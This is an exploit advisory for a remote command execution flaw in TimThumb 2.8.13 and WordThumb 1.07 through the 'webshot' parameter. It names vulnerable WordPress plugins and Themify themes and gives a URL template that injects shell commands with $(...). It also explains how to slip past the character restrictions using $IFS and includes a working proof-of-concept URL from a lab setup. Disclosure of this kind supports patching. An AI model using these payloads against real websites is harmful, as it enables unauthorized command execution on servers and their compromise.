Create TimThumb RCE 2.8.13 Exploit

[+] Description
============================================================
TimThumb is a small php script for cropping, zooming and resizing web
images (jpg, png, gif). Perfect for use on blogs and other applications.
Developed for use in the WordPress theme Mimbo Pro, and since used in many
other WordPress themes.

http://www.binarymoon.co.uk/projects/timthumb/
https://code.google.com/p/timthumb/

The original project WordThumb 1.07 also vulnerable (
https://code.google.com/p/wordthumb/)
They both shared exactly the same WebShot code! And there are several
projects that shipped with "timthumb.php", such as,@u0x (Pichaya Morimoto)
Wordpress Gallery Plugin
https://wordpress.org/plugins/wordpress-gallery-plugin/
IGIT Posts Slider Widget
http://wordpress.org/plugins/igit-posts-slider-widget/

All themes from http://themify.me/ contains vulnerable "wordthumb" in
"<theme-name>/themify/img.php".

[+] Exploit
============================================================
http://
<wp-website>/wp-content/themes/<wp-theme>/path/to/timthumb.php?webshot=1&src=http://
<wp-website>$(<os-cmds>)

** Note that OS commands payload MUST be within following character sets:
[A-Za-z0-9\-\.\_\~:\/\?\#\[\]\@\!\$\&\'\(\)\*\+\,\;\=]

** Spaces, Pipe, GT sign are not allowed.
** This WebShot feature is DISABLED by default.
** CutyCapt and XVFB must be installed in constants.

[+] Proof-of-Concept
============================================================
There are couple techniques that can be used to bypass limited charsets but
I will use a shell variable $IFS insteads of space in this scenario.

PoC Environment:
Ubuntu 14.04 LTS
PHP 5.5.9
Wordpress 3.9.1
Themify Parallax Theme 1.5.2
WordThumb 1.07

Crafted Exploit:
http://loncatlab.local/wp-content/themes/parallax/themify/img.php?webshot=1&src=http://loncatlab.local/$(touch$IFS/t
mp/longcat)